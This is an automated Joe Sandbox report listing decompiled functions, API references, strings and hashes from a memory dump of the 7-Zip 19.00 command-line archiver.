Instruction ID: 6c76965cb638dab5c2191b5bb2261a83b07981325cf776b16c749017d088e1a0
Opcode Fuzzy Hash: 7339f14c52790c104396c75c90f75acb671024a89b4c5f409cc22bad2f54e61d
Instruction Fuzzy Hash: 5A91EE32209B4087CB28DF25E49039FB762F795B94F544226EB5A477A9DF78C889CB40

Function 001413E8 Relevance: 12.6, APIs: 10, Instructions: 133COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00141569
free.MSVCRT ref: 00141574
free.MSVCRT ref: 0014157D
free.MSVCRT ref: 00141588
free.MSVCRT ref: 00141596
free.MSVCRT ref: 001415BA
free.MSVCRT ref: 001415C3
free.MSVCRT ref: 001415D1
free.MSVCRT ref: 001415DC
free.MSVCRT ref: 00142D73

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d553175bd705add0397085a2f68dee216f55efb8e0660d055bcfc610d1b73714
Instruction ID: fbede280e710c6e6a9b023ee52c30d5e6710af49e1f92f166c238479a68f332a
Opcode Fuzzy Hash: d553175bd705add0397085a2f68dee216f55efb8e0660d055bcfc610d1b73714
Instruction Fuzzy Hash: 34515A77208AC495CA24DF26E4903AF7761F79AB88F445112DF8E67B28CF39C496CB04

Function 001416B2 Relevance: 12.6, APIs: 10, Instructions: 125COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001417E2
free.MSVCRT ref: 001417ED
free.MSVCRT ref: 001417F6
free.MSVCRT ref: 00141801
free.MSVCRT ref: 0014180F
free.MSVCRT ref: 00141838
free.MSVCRT ref: 00141841
free.MSVCRT ref: 0014184F
free.MSVCRT ref: 0014185A
free.MSVCRT ref: 00142D73

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9943e524698941380e30c423019f5bc2cf16f063716f467c35492b6a2cf77687
Instruction ID: 30b887c1937612c549d015109ed8b1f43cb75bd7ded0aaab6237f0715412bab6
Opcode Fuzzy Hash: 9943e524698941380e30c423019f5bc2cf16f063716f467c35492b6a2cf77687
Instruction Fuzzy Hash: F241E6B6305F8492CA28DF26E8902AE7361FBCAF95F459522DB4E43724DF39C495C304

Function 00156A20 Relevance: 12.6, APIs: 10, Instructions: 59COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00156A33
free.MSVCRT ref: 00156A65
free.MSVCRT ref: 00156A6D
free.MSVCRT ref: 00156A7D
free.MSVCRT ref: 00156A89
free.MSVCRT ref: 00156ABB
free.MSVCRT ref: 00156AC3
free.MSVCRT ref: 00156AD3
free.MSVCRT ref: 00156ADF
free.MSVCRT ref: 00156AEB

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 49e297252a2c8ca67cda62bdf5dff8c128a9f435b231509b57c7dc761cb252a3
Instruction ID: e85e3ab8a18070ba0516c627fd19e55ea4f9516fc9adb104413731b3439f433b
Opcode Fuzzy Hash: 49e297252a2c8ca67cda62bdf5dff8c128a9f435b231509b57c7dc761cb252a3
Instruction Fuzzy Hash: 4311492360188498CB59EE26DC512E82321EBA6F95F5D8271EF2E1F359DF30C8928350

Function 0011FC9C Relevance: 12.5, APIs: 10, Instructions: 44COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011FCBA
free.MSVCRT ref: 0011FCC3
free.MSVCRT ref: 0011FCCC
free.MSVCRT ref: 0011FCD5
free.MSVCRT ref: 0011FCDE
free.MSVCRT ref: 0011FCE7
free.MSVCRT ref: 0011FCF0
free.MSVCRT ref: 0011FCF8
free.MSVCRT ref: 0011FD00
memmove.MSVCRT ref: 0011FD1E

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 37bd50d8d1977fdd302a0b82f53c3d6d511d758968c823be9149fe37c82b5d04
Instruction ID: e9117855387b1077ecc7691037811cb9dd0639752edd1535d34c7b7fb554fcc7
Opcode Fuzzy Hash: 37bd50d8d1977fdd302a0b82f53c3d6d511d758968c823be9149fe37c82b5d04
Instruction Fuzzy Hash: 8A010C23311944A6CA08EF26DD914AC7320FBA6F947084276EF2E4BB65DF30D8B6C344

Function 00146528 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 132COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001466B0

Strings

z, xrefs: 00146594
a, xrefs: 00146589
/, xrefs: 001465EB
\, xrefs: 001465E5

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID: /$\$a$z
API String ID: 1294909896-3795456795
Opcode ID: 92741b9c6097dc57a5422346ae12ec5673efaeb8d1b2f3031f7aecb4c5395baf
Instruction ID: b53730a91d702a90137574250655647fb2b53b33eb0ec5311af94b1def76ef84
Opcode Fuzzy Hash: 92741b9c6097dc57a5422346ae12ec5673efaeb8d1b2f3031f7aecb4c5395baf
Instruction Fuzzy Hash: 0441D192A0025499DB30EF21D4046B92760F353FECF8A4226DA95477B8EB79C9D6C703

Function 0015870C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00158785
fputs.MSVCRT ref: 00158795
free.MSVCRT ref: 001587E7
free.MSVCRT ref: 001587EF
free.MSVCRT ref: 00158801

Strings

Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values, xrefs: 0015878E
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 0015877E

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$fputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values
API String ID: 2444650769-4238946813
Opcode ID: 6a807e1f11532017a4cdd53ea1c09d8dec3d45ef8e00fbcf8e020d56cf8062a2
Instruction ID: 73f07c029bb7aefdef8ab8df81272b68cb6dfd7d3785ab7a9fdd437142bb9918
Opcode Fuzzy Hash: 6a807e1f11532017a4cdd53ea1c09d8dec3d45ef8e00fbcf8e020d56cf8062a2
Instruction Fuzzy Hash: 35218132305684D5DA70DB25F9803E9B321F795B86F984435CE5D9B718CF38C88ACB40

Function 0015E3E4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0015E3EF
GetProcAddress.KERNEL32 ref: 0015E3FF
GetModuleHandleA.KERNEL32 ref: 0015E413
GetProcAddress.KERNEL32 ref: 0015E423

Strings

FindNextStreamW, xrefs: 0015E419
kernel32.dll, xrefs: 0015E3E8, 0015E405
FindFirstStreamW, xrefs: 0015E3F5

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: FindFirstStreamW$FindNextStreamW$kernel32.dll
API String ID: 1646373207-4044117955
Opcode ID: ac966f64d20482aa4fd5c134ec705327a834465029026a46f097207993e27cb5
Instruction ID: 7305166295dd4c6e2530ba0cb655d4e272285803a899ec98e954f5a164ab988c
Opcode Fuzzy Hash: ac966f64d20482aa4fd5c134ec705327a834465029026a46f097207993e27cb5
Instruction Fuzzy Hash: 44E0EABCA41F06D1EA04DB51FCA839433A4F799756F905429C55A0B260AF78C19BC741

Function 00130554 Relevance: 11.4, APIs: 9, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 001196AC: free.MSVCRT ref: 001196D1

free.MSVCRT ref: 001305FD
free.MSVCRT ref: 00130607
free.MSVCRT ref: 00130612
free.MSVCRT ref: 00130639
free.MSVCRT ref: 00130643
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,00132160), ref: 00130652
free.MSVCRT ref: 00130673
free.MSVCRT ref: 00130692
free.MSVCRT ref: 001306BC

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: ba39d191a4783be6191a4353f763b9374f22025bd81bbd69dc5c6e5eb5e84779
Instruction ID: 46d0670598067706255cabe875ef0f45df632cacc5e1185135382e00ea76eda1
Opcode Fuzzy Hash: ba39d191a4783be6191a4353f763b9374f22025bd81bbd69dc5c6e5eb5e84779
Instruction Fuzzy Hash: B731E56321458097CB30DF25E8A129EB7A0F7CA794F440235EB9E87B29DF39D895CB00

Function 0014EAD4 Relevance: 11.3, APIs: 9, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0014EAFF
memcmp.MSVCRT ref: 0014EB1D
memcmp.MSVCRT ref: 0014EB33

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 41d9d86949f01cac63a720bc7b2bd3e9f688eab33a43bcd64fe82cf42b54a768
Instruction ID: 2256c6fa0699f180f40a753c2502fa114334e3d2bcf7bcdfa4e6e57844f974da
Opcode Fuzzy Hash: 41d9d86949f01cac63a720bc7b2bd3e9f688eab33a43bcd64fe82cf42b54a768
Instruction Fuzzy Hash: B831D1B1308B0095EB08DF669C913A827A5EB55FD4FC5A061DE079F22AEF34DB49C304

Function 001429F7 Relevance: 11.3, APIs: 9, Instructions: 52COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00142A09
free.MSVCRT ref: 00142A13
free.MSVCRT ref: 00142A1E
free.MSVCRT ref: 00142A2C
free.MSVCRT ref: 00142A4E
free.MSVCRT ref: 00142A57
free.MSVCRT ref: 00142A65
free.MSVCRT ref: 00142A70
free.MSVCRT ref: 00142D73

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e90d6bb166ed15ba24e72fcfe06ac02a43145d9266722310fb98f001947c2363
Instruction ID: 9264f73a66c9f16d868f59eacba99eca4602dc9ba4abdc11736096bbb6d1e6a1
Opcode Fuzzy Hash: e90d6bb166ed15ba24e72fcfe06ac02a43145d9266722310fb98f001947c2363
Instruction Fuzzy Hash: 07011A6324A58055C629FB22E4526AE6310E7D3B91F0911B2EF4E13711CF38C496C304

Function 00143677 Relevance: 11.3, APIs: 9, Instructions: 48COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014367E
free.MSVCRT ref: 00143688
free.MSVCRT ref: 00143693
free.MSVCRT ref: 001436A1
free.MSVCRT ref: 001436C8
free.MSVCRT ref: 001436D1
free.MSVCRT ref: 001436DF
free.MSVCRT ref: 001436EA
free.MSVCRT ref: 001436F8

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d9c09fb608b9bf2eac30e82356a3a9b3eaf7d7236c8fdec4e34535a6c9cfb299
Instruction ID: 0ee66bde5e5a47cc426fa8eefe24349ef3913f6578db8e474bbd2bd70c62544d
Opcode Fuzzy Hash: d9c09fb608b9bf2eac30e82356a3a9b3eaf7d7236c8fdec4e34535a6c9cfb299
Instruction Fuzzy Hash: FB01B66225658055CA19FF36E4616AE6310EBD7B91F0911B2EF5E53721CF38C497C708

Function 001568FC Relevance: 11.3, APIs: 9, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0015692E
free.MSVCRT ref: 00156937
free.MSVCRT ref: 00156940
free.MSVCRT ref: 00156949
free.MSVCRT ref: 00156952
free.MSVCRT ref: 0015695B
free.MSVCRT ref: 00156964
free.MSVCRT ref: 0015696D
free.MSVCRT ref: 00156975

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b0a25e55ccd52fa3f3baf4bdc67da172ff4df6f662b49c9aa123c0f49802e9bc
Instruction ID: c8ac34fc068c4b68c432ffb993561585d36fc23a8b7cd081dac431bde93a3330
Opcode Fuzzy Hash: b0a25e55ccd52fa3f3baf4bdc67da172ff4df6f662b49c9aa123c0f49802e9bc
Instruction Fuzzy Hash: 2F01DA63711984A9CA18EE76DC911A82320ABA7B9975C4271FF2D4B755DF30CCA68384

Function 0011F0C8 Relevance: 11.3, APIs: 9, Instructions: 44COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011F0FA
free.MSVCRT ref: 0011F103
free.MSVCRT ref: 0011F10C
free.MSVCRT ref: 0011F115
free.MSVCRT ref: 0011F11E
free.MSVCRT ref: 0011F127
free.MSVCRT ref: 0011F130
free.MSVCRT ref: 0011F139
free.MSVCRT ref: 0011F141

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction ID: e113979a1b8d320056d6544ab9b1e3398710109fbb2a3a37169194873c65b344
Opcode Fuzzy Hash: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
Instruction Fuzzy Hash: 2E011A63611980AACB18EE36DC911E82720ABA6B98B1C4275FF2D4B755DF70C8E28344

Function 0015C844 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 195COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015C91C
fputs.MSVCRT ref: 0015C9F1

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Part of subcall function 00112320: free.MSVCRT ref: 0011237E
Part of subcall function 00112320: fputs.MSVCRT ref: 001123B8
Part of subcall function 00112320: free.MSVCRT ref: 001123C4

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

fputs.MSVCRT ref: 0015CADA

Part of subcall function 001122E4: fflush.MSVCRT ref: 001122EB

Strings

ERRORS:, xrefs: 0015C8ED, 0015C915
WARNINGS:, xrefs: 0015C9C2, 0015C9EA
ERROR: , xrefs: 0015CAD3

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free$fflushfputcmemset
String ID: ERROR: $ERRORS:$WARNINGS:
API String ID: 2975459029-4064182643
Opcode ID: d2a1a2e72694af25cfe5264c7c3dc1886793622186513fdaa31e5f638f821b21
Instruction ID: 4474b654b251b728df1442c47e21e0f513a7cc49aa2a02840cf12656ed3f5db3
Opcode Fuzzy Hash: d2a1a2e72694af25cfe5264c7c3dc1886793622186513fdaa31e5f638f821b21
Instruction Fuzzy Hash: 5C617266700685DACE38EF72E4513AEB711F755B85F484026DF2F0B601DF78D8A88390

Function 00145680 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 181COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00145737
free.MSVCRT ref: 00145907
free.MSVCRT ref: 00145911

Strings

REPARSE:, xrefs: 001457DF
Junction: , xrefs: 00145707
: , xrefs: 0014574A
..., xrefs: 001458F2

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID: : $...$Junction: $REPARSE:
API String ID: 1294909896-1476144188
Opcode ID: 6483305c4f08a4f4140ab686dda4331553b33920a3cb9b28730788aac733e5f2
Instruction ID: 8081a883f318946bfb51fd74578834afe1b8d61e74b9fde00b3b1a70ca3d9e81
Opcode Fuzzy Hash: 6483305c4f08a4f4140ab686dda4331553b33920a3cb9b28730788aac733e5f2
Instruction Fuzzy Hash: 77512772210A0593CB18DF21E8517EE7762FB91BA8F855032EA5B47369DF7CC685C710

Function 00150E6C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00150E9C

Part of subcall function 0011339C: free.MSVCRT ref: 001133D7
Part of subcall function 0011339C: memmove.MSVCRT(00000000,?,?,00000000,001110A8), ref: 001133F2

fputs.MSVCRT ref: 00150F5D
fputs.MSVCRT ref: 00150FD8
fputs.MSVCRT ref: 00150FF4
LeaveCriticalSection.KERNEL32 ref: 00151092

Strings

???, xrefs: 00150EC3

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$EnterLeavefreememmove
String ID: ???
API String ID: 2578255354-1053719742
Opcode ID: 78e2c2c692378c993afccde280bacb5edd97984081905a44e3e3f63d2506d652
Instruction ID: bb9f464383a1a11b38ff461a8b64dc47262e6e606843bc74bfb670c0d2374107
Opcode Fuzzy Hash: 78e2c2c692378c993afccde280bacb5edd97984081905a44e3e3f63d2506d652
Instruction Fuzzy Hash: B7515F32300A80E7DA5DDB21D9513EA6320F788795F444126EF3D0B7A4DF38D9A9C300

Function 00150C64 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00150C95
fputs.MSVCRT ref: 00150CF7
fputs.MSVCRT ref: 00150D23
LeaveCriticalSection.KERNEL32 ref: 00150E38

Strings

Would you like to replace the existing file:, xrefs: 00150CF0
with the file from archive:, xrefs: 00150D1C

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CriticalSectionfputs$EnterLeave
String ID: Would you like to replace the existing file:$with the file from archive:
API String ID: 3346953513-686978020
Opcode ID: b3065acbe4c6a92e9f3db648331256e44102a71c550aec0345d61f355809c24a
Instruction ID: 08a64a304740bc58e2a053ac1ab68c75fbd139a19cee6c860ed7d1d213daba43
Opcode Fuzzy Hash: b3065acbe4c6a92e9f3db648331256e44102a71c550aec0345d61f355809c24a
Instruction Fuzzy Hash: B341C262344A82D2DA2A8FE5D8903E87320F789B92F4981229F3D0F351CF38D89DC304

Function 001512B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 001512DC
fputs.MSVCRT ref: 0015137C
fputs.MSVCRT ref: 0015139C
free.MSVCRT ref: 001513D3
LeaveCriticalSection.KERNEL32 ref: 001513EB

Strings

: , xrefs: 00151395

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CriticalSectionfputs$EnterLeavefree
String ID: :
API String ID: 1989314732-3653984579
Opcode ID: c7219ff94ad641548069c3c2d821b28e0e7cb5fb03aed72e0eb85cefbeb7bda8
Instruction ID: 40417d12480a0d99ead8519d4933c57c31c4a2c8bcb22e824df204fa3ea24a40
Opcode Fuzzy Hash: c7219ff94ad641548069c3c2d821b28e0e7cb5fb03aed72e0eb85cefbeb7bda8
Instruction Fuzzy Hash: 93311A72200A40D1DB569F25D8943ED2320F798BA9F585236DE6D4B7A8CF78C889C310

Function 0015CE50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015CE70

Part of subcall function 001122E4: fflush.MSVCRT ref: 001122EB

GetStdHandle.KERNEL32 ref: 0015CE83
GetConsoleMode.KERNEL32 ref: 0015CEAA
SetConsoleMode.KERNEL32 ref: 0015CEBE
SetConsoleMode.KERNEL32 ref: 0015CEE8

Strings

Enter password (will not be echoed):, xrefs: 0015CE69

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
